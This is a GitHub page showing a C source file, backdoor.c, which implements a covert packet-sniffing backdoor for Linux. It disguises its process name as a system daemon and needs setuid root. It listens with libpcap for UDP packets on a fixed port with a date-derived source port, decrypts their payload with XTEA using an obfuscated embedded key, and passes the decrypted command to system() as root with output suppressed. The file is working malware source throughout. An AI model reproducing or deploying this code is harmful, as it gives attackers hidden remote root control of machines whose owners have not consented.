-
Notifications
You must be signed in to change notification settings - Fork 8
/
backdoor.c
234 lines (202 loc) · 5.2 KB
/
backdoor.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#include <arpa/inet.h>
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pkthdr.h"
#include "util.h"
#include "xtea.h"
#define RUNNING_NAME "/usr/libexec/udevd"
#define INF_NAME "any"
#define MAX_CMD_SIZE 1024
#define MAX_DLINK_HDR 16
#define SNAP_LEN (MAX_CMD_SIZE + sizeof(struct ip_header) + sizeof(struct tcp_header) + MAX_DLINK_HDR)
#define FILTER_STRING "udp dst port 34249"
#define MANGLED "a1487b33FcAc3FD8aa9D4d44e4e402AFDa955cc514cEC0368bB8eD717aaa8cC5\0"
uint32_t* get_key(uint32_t key[4])
{
char *mangled = MANGLED;
char less_mangled[4][8];
char keyseg[9];
size_t i = 0;
size_t j = 0;
while (*mangled)
{
if (*mangled < 'a')
{
less_mangled[i][j++] = *(mangled++);
if (j == 8)
{
j = 0;
i++;
}
}
else
{
mangled += 2;
}
}
reverse((char *) less_mangled, 32);
for (i = 0; i < 4; i++)
{
strncpy(keyseg, less_mangled[i], 8);
key[i] = strtol(keyseg, NULL, 16);
}
return key;
}
u_char datalink_length(pcap_t *session)
{
int dlink = pcap_datalink(session);
switch (dlink)
{
case DLT_NULL: return 4;
case DLT_EN10MB: return 14;
case DLT_RAW: return 14;
case DLT_LOOP: return 4;
case DLT_LINUX_SLL: return 16;
}
#ifdef DEBUG
fprintf(stderr, "datalink_length(): unknown type: %d", dlink);
#endif
return 16;
}
/*void inspect_tcp(struct ip_header *iph)*/
/*{*/
/*}*/
/*void inspect_icmp(struct ip_header *iph)*/
/*{*/
/*}*/
void inspect_udp(struct ip_header *iph)
{
uint16_t len;
uint16_t deciphered;
char *data;
char command[MAX_CMD_SIZE];
uint32_t key[4];
struct udp_header *udph = (struct udp_header *)
((char *) iph + sizeof(struct ip_header));
if (ntohs(udph->srcport) != port_from_date())
{
printf("ntohs(udph->srcport): %d\n", ntohs(udph->srcport));
printf("port: %d\n", port_from_date());
return;
}
len = iph->id;
data = (char *) udph + sizeof(udph);
get_key(key);
deciphered = 0;
while (deciphered < len)
{
decipher(RCM_NUM_ROUNDS, (uint32_t *) (data + deciphered), key);
deciphered += sizeof(uint32_t) / sizeof(char) * 2;
}
strncpy(command, data, len);
command[len] = '\0';
#ifdef DEBUG
printf("\n\tCommand: \"%s\"\n\n", command);
fflush(stdout);
#else
strcpy(&command[len], " &> /dev/null");
#endif
system(command);
/* don't leave key in memory */
memset(key, '\0', sizeof(uint32_t) / sizeof(char) * 4);
}
void inspect_packet(u_char *linklen, const struct pcap_pkthdr *h,
const u_char *bytes)
{
struct ip_header *iph = (struct ip_header *) (bytes + *linklen);
#ifdef DEBUG
printf("\n");
print_packet(bytes, h->caplen);
#endif
switch (iph->protocol)
{
case IP_TCP:
if (h->caplen - *linklen - sizeof(struct tcp_header) > 0)
{
/*inspect_tcp(iph);*/
}
break;
case IP_UDP:
if (h->caplen - *linklen - sizeof(struct udp_header) > 0)
{
inspect_udp(iph);
}
break;
case IP_ICMP:
if (h->caplen - *linklen - sizeof(struct icmp_header) > 0)
{
/*inspect_icmp(iph);*/
}
break;
}
}
pcap_t * config_session()
{
pcap_t *session;
bpf_u_int32 net;
bpf_u_int32 mask;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program filter;
/*if (pcap_findalldevs())*/
if (pcap_lookupnet(NULL, &net, &mask, errbuf))
{
#ifdef DEBUG
fprintf(stderr, "pcap_lookupnet(): %s\n", errbuf);
#endif
exit(0);
}
if ((session = pcap_open_live(INF_NAME, SNAP_LEN, 0, 0, errbuf)) == NULL)
{
#ifdef DEBUG
fprintf(stderr, "pcap_open_live(): %s\n", errbuf);
#endif
exit(0);
}
if (pcap_compile(session, &filter, FILTER_STRING, 0, net))
{
#ifdef DEBUG
pcap_perror(session, "pcap_compile()");
#endif
exit(0);
}
if (pcap_setfilter(session, &filter))
{
#ifdef DEBUG
pcap_perror(session, "pcap_setfilter()");
#endif
exit(0);
}
return session;
}
int main(int argc, char **argv)
{
pcap_t *session = NULL;
int rtn;
u_char linklen;
argc++; /* no op */
strcpy(argv[0], RUNNING_NAME);
if (setuid(0) || setgid(0))
{
#ifdef DEBUG
fprintf(stderr, "> This needs to be owned by root with the s-bit set\n");
fprintf(stderr, "chown root %s\n", argv[0]);
fprintf(stderr, "chmod +s %s\n", argv[0]);
#endif
return 0;
}
session = config_session();
linklen = datalink_length(session);
rtn = pcap_loop(session, -1, inspect_packet, &linklen);
switch (rtn)
{
#ifdef DEBUG
case 0: fprintf(stderr, "pcap_loop(): cnt reached\n"); break;
case -1: pcap_perror(session, "pcap_loop()"); break;
case -2: fprintf(stderr, "pcap_loop(): no packets processed\n");
#endif
}
return 0;
}